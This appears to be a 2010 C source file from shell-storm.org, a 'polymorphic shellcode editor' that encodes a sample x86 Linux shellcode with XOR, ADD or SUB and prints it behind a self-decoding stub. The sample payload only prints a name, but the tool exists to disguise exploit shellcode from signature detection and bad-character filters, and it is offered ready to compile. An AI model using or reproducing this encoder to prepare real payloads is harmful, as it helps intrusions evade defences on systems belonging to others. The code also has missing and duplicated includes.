/*
Title:   Polymorphic shellcode Editor
Author:  Jonathan Salwan <submit AT shell-storm.org>
Date:    2010-06-14
Web:     http://www.shell-storm.org
Twitter: http://twitter.com/shell_storm

! Dtabase of shellcodes http://www.shell-storm.org/shellcode/

char your_SC[] = Shellcode _write(1,"jonathan\n",9) + _exit(0)
You can change it ;)

Compile:
        # gcc -std=c99 -o editor editor.c

*/

#include <stdio.h>
#include <stdio.h>


char your_SC[] = "\x31\xc0\x31\xdb\x31\xc9"
                 "\x31\xd2\xb2\x09\x6a\x0a"
                 "\x68\x74\x68\x61\x6e\x68"
                 "\x6a\x6f\x6e\x61\x89\xe1"
                 "\xb3\x01\xb0\x04\xcd\x80"
                 "\x31\xdb\xb0\x01\xcd\x80";


void syntax(void)
{
        fprintf(stdout,"\nSyntax:  ./encode <type> <value>\n\n");
        fprintf(stdout,"Type:    -xor\n");
        fprintf(stdout,"         -add\n");
        fprintf(stdout,"         -sub\n\n");
        fprintf(stdout,"Exemple: ./encode -xor 10\n\n");
        exit(1);
}

int main(int argc, char *argv[])
{
       if(argc != 3){
                syntax();
                return 1;
                }  


        if(!strcmp(argv[1], "-xor"))
                {
                fprintf(stdout,"Encode : XOR %s\n", argv[2]);
                fprintf(stdout,"Encoded: \n");

                fprintf(stdout,"\\xeb\\x11\\x5e\\x31\\xc9\\xb1\\x%x\\x80"
                               "\\x74\\x0e\\xff\\x%.2x\\x80\\xe9\\x01\\x75"
                               "\\xf6\\xeb\\x05\\xe8\\xea\\xff\\xff\\xff"
                               ,strlen(your_SC), atoi(argv[2]));

                for (int i=0;i<sizeof(your_SC)-1;i++){
                        your_SC[i] = your_SC[i]^atoi(argv[2]); 
                        fprintf(stdout,"\\x%.2x", (your_SC[i]&0x000000ff));
                        }
                fprintf(stdout,"\n");
                }
 
        
        if(!strcmp(argv[1], "-add"))
                {
                fprintf(stdout,"Encode : ADD %s\n", argv[2]);
                fprintf(stdout,"Encoded: \n");
 
                fprintf(stdout,"\\xeb\\x11\\x5e\\x31\\xc9\\xb1\\x%x\\x80"
                               "\\x6c\\x0e\\xff\\x%.2x\\x80\\xe9\\x01\\x75"
                               "\\xf6\\xeb\\x05\\xe8\\xea\\xff\\xff\\xff"
                               ,strlen(your_SC), atoi(argv[2]));

                for (int i=0;i<sizeof(your_SC)-1;i++){
                  your_SC[i] = your_SC[i]+atoi(argv[2]);
                        fprintf(stdout,"\\x%.2x", (your_SC[i]&0x000000ff));
                        }
                fprintf(stdout,"\n");
                }

         if(!strcmp(argv[1], "-sub"))
                 {
                 fprintf(stdout,"Encode : SUB %s\n", argv[2]);
                 fprintf(stdout,"Encoded: \n");

                 fprintf(stdout,"\\xeb\\x11\\x5e\\x31\\xc9\\xb1\\x%x\\x80"
                                "\\x44\\x0e\\xff\\x%.2x\\x80\\xe9\\x01\\x75"
                                "\\xf6\\xeb\\x05\\xe8\\xea\\xff\\xff\\xff"
                                ,strlen(your_SC), atoi(argv[2]));

                 for (int i=0;i<sizeof(your_SC)-1;i++){
                         your_SC[i] = your_SC[i]-atoi(argv[2]);
                         fprintf(stdout,"\\x%.2x", (your_SC[i]&0x000000ff));
                         }
                 fprintf(stdout,"\n");
                 }

return 0;
}